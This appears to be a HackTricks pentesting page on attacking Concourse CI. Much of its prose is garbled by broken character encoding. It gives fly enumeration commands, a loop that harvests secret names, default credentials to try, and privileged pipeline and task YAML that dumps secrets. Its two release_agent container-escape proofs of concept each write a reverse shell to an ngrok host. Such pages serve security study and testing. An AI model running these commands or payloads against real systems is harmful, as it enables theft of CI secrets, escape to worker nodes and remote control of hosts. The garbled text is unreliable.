Concourse Enumeration & Attacks

Concourse Enumeration & Attacks

Support HackTricks

User Roles & Permissions

Concourse рдореЗрдВ рдкрд╛рдБрдЪ рднреВрдорд┐рдХрд╛рдПрдБ рд╣реИрдВ:

  • Concourse Admin: рдпрд╣ рднреВрдорд┐рдХрд╛ рдХреЗрд╡рд▓ рдореБрдЦреНрдп рдЯреАрдо (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░рд╛рд░рдВрднрд┐рдХ concourse рдЯреАрдо) рдХреЗ рдорд╛рд▓рд┐рдХреЛрдВ рдХреЛ рджреА рдЬрд╛рддреА рд╣реИред рдПрдбрдорд┐рди рдЕрдиреНрдп рдЯреАрдореЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ: fly set-team, fly destroy-team...)ред рдЗрд╕ рднреВрдорд┐рдХрд╛ рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ RBAC рджреНрд╡рд╛рд░рд╛ рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред

  • owner: рдЯреАрдо рдХреЗ рдорд╛рд▓рд┐рдХ рдЯреАрдо рдХреЗ рднреАрддрд░ рд╕рдм рдХреБрдЫ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

  • member: рдЯреАрдо рдХреЗ рд╕рджрд╕реНрдп рдЯреАрдо рдХреА рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреЗ рднреАрддрд░ рдкрдврд╝ рдФрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЯреАрдо рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

  • pipeline-operator: рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдСрдкрд░реЗрдЯрд░ рдкрд╛рдЗрдкрд▓рд╛рдЗрди рд╕рдВрдЪрд╛рд▓рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдмрд┐рд▓реНрдб рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рдФрд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдкрд┐рди рдХрд░рдирд╛, рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╡реЗ рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

  • viewer: рдЯреАрдо рдХреЗ рджрд░реНрд╢рдХреЛрдВ рдХреЛ рдЯреАрдо рдФрд░ рдЗрд╕рдХреА рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рддрдХ "рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓" рдкрд╣реБрдБрдЪ рд╣реЛрддреА рд╣реИред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, owner, member, pipeline-operator рдФрд░ viewer рдХреА рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ RBAC рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдХреЗ (рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдХреЗ)ред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдкрдврд╝реЗрдВ: https://concourse-ci.org/user-roles.html

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Concourse рдЯреАрдореЛрдВ рдХреЗ рднреАрддрд░ рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреЛ рд╕рдореВрд╣рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдПрдХ рдЯреАрдо рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрди рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рдХрдИ рдЯреАрдореЗрдВ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрдИ рдЯреАрдореЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВред

Vars & Credential Manager

YAML рдХреЙрдиреНрдлрд╝рд┐рдЧреНрд╕ рдореЗрдВ рдЖрдк рдорд╛рдиреЛрдВ рдХреЛ ((_source-name_:_secret-path_._secret-field_)) рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╕реЗ: source-name рд╡реИрдХрд▓реНрдкрд┐рдХ рд╣реИ, рдФрд░ рдпрджрд┐ рдЫреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреНрд▓рд╕реНрдЯрд░-рд╡реНрдпрд╛рдкреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рдмрдВрдзрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╛ рдорд╛рди рд╕реНрдереИрддрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡реИрдХрд▓реНрдкрд┐рдХ _secret-field_ рдЙрд╕ рдлрд╝реАрд▓реНрдб рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рд░рд╣рд╕реНрдп рд╕реЗ рдкрдврд╝рд╛ рдЬрд╛рдирд╛ рд╣реИред рдпрджрд┐ рдЫреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рдмрдВрдзрдХ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╕реЗ 'рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдлрд╝реАрд▓реНрдб' рдкрдврд╝рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рдЪреБрди рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рдлрд╝реАрд▓реНрдб рдореМрдЬреВрдж рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, secret-path рдФрд░ secret-field рдХреЛ рдбрдмрд▓ рдЙрджреНрдзрд░рдгреЛрдВ "..." рдореЗрдВ рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ рд╡реЗ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдг рдЬреИрд╕реЗ . рдФрд░ : рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, ((source:"my.secret"."field:1")) secret-path рдХреЛ my.secret рдФрд░ secret-field рдХреЛ field:1 рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ред

Static Vars

рд╕реНрдереИрддрд┐рдХ vars рдХреЛ рдХрд╛рд░реНрдп рдЪрд░рдгреЛрдВ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or using the following fly arguments:

  • -v or --var NAME=VALUE рд╕реНрдЯреНрд░рд┐рдВрдЧ VALUE рдХреЛ var NAME рдХреЗ рд▓рд┐рдП рдорд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред

  • -y or --yaml-var NAME=VALUE VALUE рдХреЛ YAML рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ var NAME рдХреЗ рд▓рд┐рдП рдорд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред

  • -i or --instance-var NAME=VALUE VALUE рдХреЛ YAML рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ instance var NAME рдХреЗ рд▓рд┐рдП рдорд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред instance vars рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП Grouping Pipelines рджреЗрдЦреЗрдВред

  • -l or --load-vars-from FILE FILE рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдорд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП var рдирд╛рдореЛрдВ рдХреЛ рдореИрдк рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ YAML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рд╣реИ, рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕рднреА рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред

Credential Management

рдПрдХ рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдореЗрдВ Credential Manager рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрдврд╝реЗрдВ https://concourse-ci.org/creds.htmlред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, Concourse рд╡рд┐рднрд┐рдиреНрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рдмрдВрдзрдХреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ:

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ Concourse рдкрд░ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреА рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк рдЙрди рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдиреМрдХрд░рд┐рдпрд╛рдВ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ Concourse рдХреЛ рдЙрдиреНрд╣реЗрдВ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

Concourse Enumeration

рдПрдХ concourse рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдпрд╛ рдПрдХ рдкреНрд░рдорд╛рдгрд┐рдд рдЯреЛрдХрди рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдЬреЛ рд╢рд╛рдпрдж рдПрдХ .flyrc рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╣реЛред

Login and Current User enum

  • рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ endpoint, team name (рдбрд┐рдлрд╝реЙрд▓реНрдЯ main рд╣реИ) рдФрд░ рдЯреАрдо рдЬрд┐рд╕рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИ рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ targets рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

  • fly targets

  • рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЧрдИ target connection рдЕрднреА рднреА рдорд╛рдиреНрдп рд╣реИ:

  • fly -t <target> status

  • рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдХреЗ рдЦрд┐рд▓рд╛рдл рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

  • fly -t <target> userinfo

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ API token рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ $HOME/.flyrc рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рд╣реИ, рдЖрдк рдорд╢реАрдиреЛрдВ рдХреЛ рд▓реВрдЯрддреЗ рд╕рдордп рд╡рд╣рд╛рдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

Teams & Users

  • рдЯреАрдореЛрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • fly -t <target> teams

  • рдЯреАрдо рдХреЗ рдЕрдВрджрд░ рднреВрдорд┐рдХрд╛рдПрдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • fly -t <target> get-team -n <team-name>

  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • fly -t <target> active-users

Pipelines

  • рд╕реВрдЪреА рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреА:

  • fly -t <target> pipelines -a

  • рдкрд╛рдЗрдкрд▓рд╛рдЗрди yaml рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкрд░рд┐рднрд╛рд╖рд╛ рдореЗрдВ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • рд╕рднреА рдкрд╛рдЗрдкрд▓рд╛рдЗрди config рдШреЛрд╖рд┐рдд vars рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • рд╕рднреА рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреЗ рд░рд╣рд╕реНрдп рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ (рдпрджрд┐ рдЖрдк рдПрдХ рдиреМрдХрд░реА рдмрдирд╛/рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдПрдХ рдХрдВрдЯреЗрдирд░ рдХреЛ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

  • List workers:

  • fly -t <target> workers

  • List containers:

  • fly -t <target> containers

  • List builds (to see what is running):

  • fly -t <target> builds

Concourse Attacks

Credentials Brute-Force

  • admin:admin

  • test:test

Secrets and params enumeration

рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣рдордиреЗ рджреЗрдЦрд╛ рдХрд┐ рдЖрдк рдкрд╛рдЗрдкрд▓рд╛рдЗрди рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рд░рд╣рд╕реНрдпреЛрдВ рдХреЗ рдирд╛рдо рдФрд░ рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХреИрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╣реЛ рд╕рдХрддреА рд╣реИ рдФрд░ рд░рд╣рд╕реНрдпреЛрдВ рдХреЗ рдирд╛рдо рдмрд╛рдж рдореЗрдВ рдЙрдиреНрд╣реЗрдВ рдЪреБрд░рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдВрдЧреЗред

Session inside running or recently run container

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ (рд╕рджрд╕реНрдп рднреВрдорд┐рдХрд╛ рдпрд╛ рдЕрдзрд┐рдХ) рд╣реИрдВ, рддреЛ рдЖрдк рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдФрд░ рднреВрдорд┐рдХрд╛рдУрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рдмрд╕ <pipeline>/<job> рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВрдЧреЗ:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:

  • рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛рдирд╛

  • рдиреЛрдб рдкрд░ рднрд╛рдЧрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛

  • рдХреНрд▓рд╛рдЙрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз/рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ (рдкреЙрдб рд╕реЗ рдФрд░ рдиреЛрдб рд╕реЗ, рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ)

рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдирд┐рд░реНрдорд╛рдг/рд╕рдВрд╢реЛрдзрди

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ (рд╕рджрд╕реНрдп рднреВрдорд┐рдХрд╛ рдпрд╛ рдЕрдзрд┐рдХ) рддреЛ рдЖрдк рдирдИ рдкрд╛рдЗрдкрд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдмрдирд╛/рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреЛ рджреЗрдЦреЗрдВ:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

With the modification/creation of a new pipeline you will be able to:

  • рдЪреБрд░рд╛рдирд╛ the рдЧреБрдкреНрдд (via echoing them out or getting inside the container and running env)

  • рднрд╛рдЧрдирд╛ to the рдиреЛрдб (by giving you enough privileges - privileged: true)

  • Enumerate/Abuse рдХреНрд▓рд╛рдЙрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ endpoint (from the pod and from the node)

  • рд╣рдЯрд╛рдирд╛ created pipeline

Execute Custom Task

This is similar to the previous method but instead of modifying/creating a whole new pipeline you can just execute a custom task (which will probably be much more рдЧреБрдкреНрдд):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Escaping to the node from privileged task

рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧреЛрдВ рдореЗрдВ рд╣рдордиреЗ рджреЗрдЦрд╛ рдХрд┐ concourse рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд╛рд░реНрдп рдХреИрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред рдпрд╣ рдХрдВрдЯреЗрдирд░ рдХреЛ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рдореЗрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдзреНрд╡рдЬ рдХреЗ рд╕рдорд╛рди рд╕рдЯреАрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рджреЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк /dev рдореЗрдВ рдиреЛрдб рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдбрд┐рд╡рд╛рдЗрд╕ рдирд╣реАрдВ рджреЗрдЦреЗрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдмрдЪ рдирд┐рдХрд▓рдирд╛ рдЕрдзрд┐рдХ "рдЬрдЯрд┐рд▓" рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд PoC рдореЗрдВ рд╣рдо рдХреБрдЫ рдЫреЛрдЯреЗ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рд╕рд╛рде escape рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП release_agent рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдкрдиреЗ рджреЗрдЦрд╛ рд╣реЛрдЧрд╛, рдпрд╣ рд╕рд┐рд░реНрдл рдПрдХ рд╕рд╛рдорд╛рдиреНрдп release_agent escape рд╣реИ, рдмрд╕ рдиреЛрдб рдореЗрдВ cmd рдХреЗ рдкрде рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛

рдПрдХ рд╡рд░реНрдХрд░ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдиреЛрдб рдореЗрдВ рднрд╛рдЧрдирд╛

рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдорд╛рдиреНрдп release_agent escape рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд╕рдВрд╢реЛрдзрди рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Web рдХрдВрдЯреЗрдирд░ рд╕реЗ рдиреЛрдб рдкрд░ рднрд╛рдЧрдирд╛

